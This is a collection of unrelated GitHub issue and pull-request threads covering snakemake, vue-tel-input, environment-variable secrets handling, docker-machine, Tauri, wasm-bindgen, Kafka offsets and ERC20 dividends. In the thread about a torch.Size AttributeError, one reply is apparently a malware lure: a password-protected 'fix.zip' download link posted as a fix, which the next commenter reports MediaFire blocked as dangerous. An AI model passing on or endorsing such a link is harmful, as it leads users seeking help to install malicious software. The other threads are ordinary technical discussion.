@damonbayer ready for re-review


snakemake exercise instructions

2nd point: Try “touching” the file data/sierra.txt and rerun snakemake (touch data/sierra.txt). Which steps of the workflow are run now, and why?
the touch data/sierra.txt should go 3 words earlier and a windows version for the touch command should be included.

Also related to issue #130

Fixed in #134


Label “for” and Input “id”

Hi! How can i add id to input? I want to use it with <label for="id"/> attribute.

Hi, webistomin!
Please use this one!
Mobile Number

Hi, webistomin!
Please use this one!
 <vue-tel-input id="telInput" v-model="phone" v-on:onValidate="onValidate" placeholder="Enter your mobile number!" type="number" ></vue-tel-input>

In this case id  will apply to <div> wrapper but i need it on <input>

You can get access to the input element via $refs:
<vue-tel-input ... ref="inputWrapper" ></vue-tel-input>

mounted: function () {
    this.$refs.inputWrapper.$refs.input.id = 'telInput';
},

You can get access to the input element via $refs:
<vue-tel-input ... ref="inputWrapper" ></vue-tel-input>

mounted: function () {
    this.$refs.inputWrapper.$refs.input.id = 'telInput';
},

Thank you! :)

Can this be added to the pre-defined properties? I think accessibility should be taken more seriously and there should be an option to set up the id through prop. There is virtually no scenario where id and correspondinglabel shouldn't be tied toghter through for and id attributes.

I don't think this is working anymore.

You guys should be able to add id for the input via inputId prop from v2.4.1.


Environment variables as block input

New Input Type
Those variables:

Can appear in the Block input panel

Other

Using get_env_var to retreive the value was causing circular dependencies, so I splited them, it might exists a better solution

TS code is shitty, I need to spend some time on it tomorrow. Just making sure CI is good before.
I need to make some test also before converting to "Ready for Review"

I believe we should avoid sending secret values in the frontend, as sensitive information like AWS credentials could be exposed to other users. Instead, we can transmit keys and display them with masked characters (e.g., *****) in the Environment modal. Alternatively, we can implement authentication on the /env/ route to prevent Viewers from accessing secrets.
We can just return keys array from here without retrieving values from keyring.
cc @itsjoeoui

I took the same route as the Set Environment variable modal uses. The "See the env var" feature need this, but we could just provide the key instead with get /env/. And do another request get /env/{key} when the user want to see it from the Env. Var. Modal.
I also realize that a "Viewer" user has access to the "View env var" feature:

Hey @smahmed776 @LatentDream I think it will be okay to view it as long as that is only for admins, and not viewers!

Hey @smahmed776 @LatentDream I think it will be okay to view it as long as that is only for admins, and not viewers!

@itsjoeoui Limiting access in the frontend to only admins seeing the secrets is effective. However, APIs can still be accessed externally if we don't enforce restrictions in the backend too. We can work on that in a separate PR obviously.

Yeep, I think we shall limit the access on the frontend for now, one thing we probably want to do is to integrate with HashiCorp Vault for more secure env management in an enterprise settings


exit code 1 with "open : no such file or directory" when creating machine with driver generic

Description of problem:
docker-machine exits with return code 1 when creating a machine with driver generic (when no swarm options are added to the command line). --debug reveals a message "open : no such file or directory" which looks like docker-machine trying to reference an undefined variable for a file to read.

docker version: 1.10.3
docker-machine version: docker-machine version 0.6.0, build
uname -a: Linux HOSTNAME 4.4.5-1-ARCH #1 SMP PREEMPT Thu Mar 10 07:38:19 CET 2016 x86_64 GNU/Linux

Environment details (AWS, VirtualBox, physical, etc.):
Vagrant (with Libvirt/KVM), docker-machine generic driver.
How reproducible: Always
Steps to Reproduce:
A little insight in my development project:
I use a Makefile to make actions reproducable.  Anyway docker-machine returns exit code 1 with the following error messages (using --debug):
Error creating machine: Error checking the host: Error checking and/or regenerating the certs: There was an error validating certificates for host "<IP_ADDRESS>:2376": tls: DialWithDialer timed out
You can attempt to regenerate them using 'docker-machine regenerate-certs [name]'.
Be advised that this will trigger a Docker daemon restart which will stop running containers.

open : no such file or directory
notifying bugsnag: [Error creating machine: Error checking the host: Error checking and/or regenerating the certs: There was an error validating certificates for host "<IP_ADDRESS>:2376": tls: DialWithDialer timed out
You can attempt to regenerate them using 'docker-machine regenerate-certs [name]'.
Be advised that this will trigger a Docker daemon restart which will stop running containers.

# docker-machine -s bootstrap/vagrant/.docker/machine/ ls
NAME                     ACTIVE   DRIVER    STATE     URL                      SWARM   DOCKER    ERRORS
box1                      *           generic    Running  tcp://<IP_ADDRESS>:2376           v1.10.3

eval $( docker-machine -s bootstrap/vagrant/.docker/machine env box1 )

docker info
Containers: 0
 Running: 0
 Paused: 0
 Stopped: 0
Images: 0
Server Version: 1.10.3
Storage Driver: devicemapper
 Pool Name: docker-253:0-525616-pool
 Pool Blocksize: 65.54 kB
 Base Device Size: 10.74 GB
 Backing Filesystem: xfs
 Data file: /dev/loop0
 Metadata file: /dev/loop1
 Data Space Used: 11.8 MB
 Data Space Total: 107.4 GB
 Data Space Available: 38.93 GB
 Metadata Space Used: 581.6 kB
 Metadata Space Total: 2.147 GB
 Metadata Space Available: 2.147 GB
 Udev Sync Supported: true
 Deferred Removal Enabled: false
 Deferred Deletion Enabled: false
 Deferred Deleted Device Count: 0
 Data loop file: /var/lib/docker/devicemapper/devicemapper/data
 WARNING: Usage of loopback devices is strongly discouraged for production use. Either use `--storage-opt dm.thinpooldev` or use `--storage-opt dm.no_warn_on_loop_devices=true` to suppress this warning.
 Metadata loop file: /var/lib/docker/devicemapper/devicemapper/metadata
 Library Version: 1.02.107-RHEL7 (2015-12-01)
Execution Driver: native-0.2
Logging Driver: json-file
Plugins:
 Volume: local
 Network: bridge null host
Kernel Version: 3.10.0-327.10.1.el7.x86_64
Operating System: CentOS Linux 7 (Core)
OSType: linux
Architecture: x86_64
CPUs: 2
Total Memory: 992.8 MiB
Name: box1
ID: DX47:L243:7COB:EYM6:BRAF:6PTV:AJA3:EZ3W:VYCS:B73Z:T2HB:B6KA
WARNING: bridge-nf-call-iptables is disabled
WARNING: bridge-nf-call-ip6tables is disabled
Labels:
 foo.example.com.swarm=master
 foo.example.com.swarm=agent
 foo.example.com.vagrant=true
 provider=generic

Expected Results:
docker-machine does not return 1 (error) when successfully bootstrapping docker daemon on a remote host using driver generic.
Additional info:
This does not fail for me if I add swarm options to the bootstrapping process.


refactor: webview as child for WebviewWindow, enhance resizing closes #6322

Doesn't work 100% yet :(

I've been getting help from @FabianLars to get this to work but no luck yet.
The example from https://github.com/tauri-apps/tauri/issues/6322#issuecomment-1872491965 also has a window.request_redraw() but I don't think that helps.

I'm not super happy with it either, at least with how it currently is implemented and how less of an effect it has on a multiwebview app, but I disagree that it should be handled on the user side. Without anything on our side resizing on windows is really horrible and basically unusable for multiwebview windows.
Maybe have it opt-in as a compromise?

No need for an option, let's roll with it and see if there is any negative feedback down the road.

@FabianLars @amrbashir can you check what else we can do on Windows to enhance this?

Probably needs a better approach.


AttributeError: 'torch.Size' object has no attribute 'shape'

Hi! Nice repository. I also get the same attribute error (AttributeError: 'torch.Size' object has no attribute 'shape'`) as addressed by one of the closed issues.
When I copy and paste the same exact code under "How to use":

I get:
Traceback (most recent call last):   File "<stdin>", line 1, in <module>   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/torch/utils/_contextlib.py", line 115, in decorate_context     return func(*args, **kwargs)   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/transformers/generation/utils.py", line 1252, in generate     model_kwargs = self._prepare_encoder_decoder_kwargs_for_generation(   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/transformers/generation/utils.py", line 617, in _prepare_encoder_decoder_kwargs_for_generation     model_kwargs["encoder_outputs"]: ModelOutput = encoder(**encoder_kwargs)   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/torch/nn/modules/module.py", line 1511, in _wrapped_call_impl     return self._call_impl(*args, **kwargs)   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/torch/nn/modules/module.py", line 1520, in _call_impl     return forward_call(*args, **kwargs)   File "/Users/username/mFLAG/model.py", line 230, in forward     embed_pos = self.embed_positions(input_shape)   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/torch/nn/modules/module.py", line 1511, in _wrapped_call_impl     return self._call_impl(*args, **kwargs)   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/torch/nn/modules/module.py", line 1520, in _call_impl     return forward_call(*args, **kwargs)   File "/Users/username/opt/anaconda3/envs/mflag/lib/python3.8/site-packages/transformers/models/bart/modeling_bart.py", line 133, in forward     bsz, seq_len = input_ids.shape[:2] AttributeError: 'torch.Size' object has no attribute 'shape'
I really hope to use this as part of my research so it would be great if you could respond. Thanks!

Download
https://www.mediafire.com/file/xs3e15yonljh4bk/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Thanks for your quick reply. I'm seeing: Dangerous File Blocked
The file you attempted to download was determined to be dangerous. For your protection, MediaFire does not enable distribution of dangerous files. when I try to click it.

Hi, could you try to use the same setting in 'requirement.txt'?

Oh I should have checked! It works now thanks :)


Added decryption key for Foscam C2M firmware ("K" models)

This PR adds the symmetric encryption key for the firmware of the Foscam C2M IP camera into the decrypt-foscam.py script.

wow, I have totally missed this... thanks for contribution!


Allow creating a T | null type

Motivation
This has been talked about in bunch of issues already (#1252, #2139, #1906 and more), but I couldn't find a current issue describing this specific issue: returning T | null instead of T | undefined in generated types for a Rust Option<T> type.
Proposed Solution
Either allow specifying the Typescript on a per-function basis (as described in comment to #1691) or introduce some kind of OptionNull<T> type. Even more interesting would be some kind of Union<T, JsValue::Null> type (reusable for other union type returning functions), but not sure how complicated that would get it.
Alternatives
There is the workaround of specifying a custom TS type with a custom section described at #1691, but that feels complicated for such a small thing that is sure to appear a lot in strictly typed code. I'm not sure the workaround even works when creating methods to Rust-defined JS-exported structs, in which case something even uglier (imo) is needed: https://github.com/rustwasm/wasm-bindgen/issues/2155#issuecomment-633568946

I mean, I don't at all have a say in this matter, but I don't see any value added by this. What are you gaining by this? Optional Parameters in Typescript are always defined as an T | undefined union. Why decide to handle returns differently?

I mean, I don't at all have a say in this matter, but I don't see any value added by this. What are you gaining by this? Optional Parameters in Typescript are always defined as an T | undefined union. Why decide to handle returns differently?

Emscripten seems to check the value is undefined or null,
For example, CanvasKit has the parameter type Shader | null for setting shader https://github.com/google/skia/blob/main/modules/canvaskit/npm_build/types/index.d.ts#L2158 , and it makes error when I put undefined there.
And they did just bind that to cpp function using emscripten https://github.com/google/skia/blob/main/modules/canvaskit/canvaskit_bindings.cpp#L1668
So for me it's very useful if wasm-bindgen supports T | null type.

What kind of error? A runtime error or a typescript error? You were showing a type definition. You can get around that with just casting the return value without runtime overhead, or you could go the suggested alternate route.
If it actually needs null then yeah perhaps it has a small impact, but at the same time I'm not certain there isn't an easy way to do it yourself.

A runtime error, not typescript error. I can't cast without overhead because I use wasm-bindgen, not javascript. I call it from my rust code.

If it's a runtime error casting on the TS side would not help in any case.
I still don't have any say in that matter, but this seems like something I could much more so see as a value add.
Though perhaps it's a different issue. At the very least the proposed solution in OPs post won't work for you as it's essentially the equivalent of casting the type on the TS side.

does this issue has any new progress?


The wiki of the offset API has been updated again

This should bring us up to date.
@Shopify/kafka
Somebody should verify against https://cwiki.apache.org/confluence/display/KAFKA/A+Guide+To+The+Kafka+Protocol#AGuideToTheKafkaProtocol-OffsetCommitRequest

minor comment other lgtm

This LGTM.
Not sure how long the approach of trying to support all version from one type is going to be sustainable, but for now :shipit:.

@eapache @wvanbergen  Seems Kafka 0.8.2 also not support OffsetManage. Before you send a OffsetCommitRequest, you need to send a ConsumerMetadataRequest to get the Coordinator, but this request always failed in kafka <IP_ADDRESS>:
kafka server: Offset's topic has not yet been created. CoordinatorID:-1 CoordinatorHost: CoordinatorPort:-1

which is succeed in Kafka 0.8.2-beta.

@jsvisa It is working for me on <IP_ADDRESS> (see #379). The very first time you make this API call, Kafka first has to create the topic which takes some time. The only solution that works is retrying often enough.

@wvanbergen  Thanks for your advise, I'll try it later in <IP_ADDRESS>


New/transfer dividends

Now that we can use openzeppelin-contracts 3.0, we can use the _beforeTokenTransfer hook in ERC20.sol to adjust dividends for mint and transfer.
The idea is that dividends are "attached" to their tokens. If a token owner transfers tokens with unclaimed dividends, the dividends now can be claimed by the recipient.
When tokens are minted, the recipient won't get any additional dividends from them, until the next dividend release.
When tokens are burned, any unclaimed dividends remain in the contract.

@uivlis, I thought you would like to see this issue closed.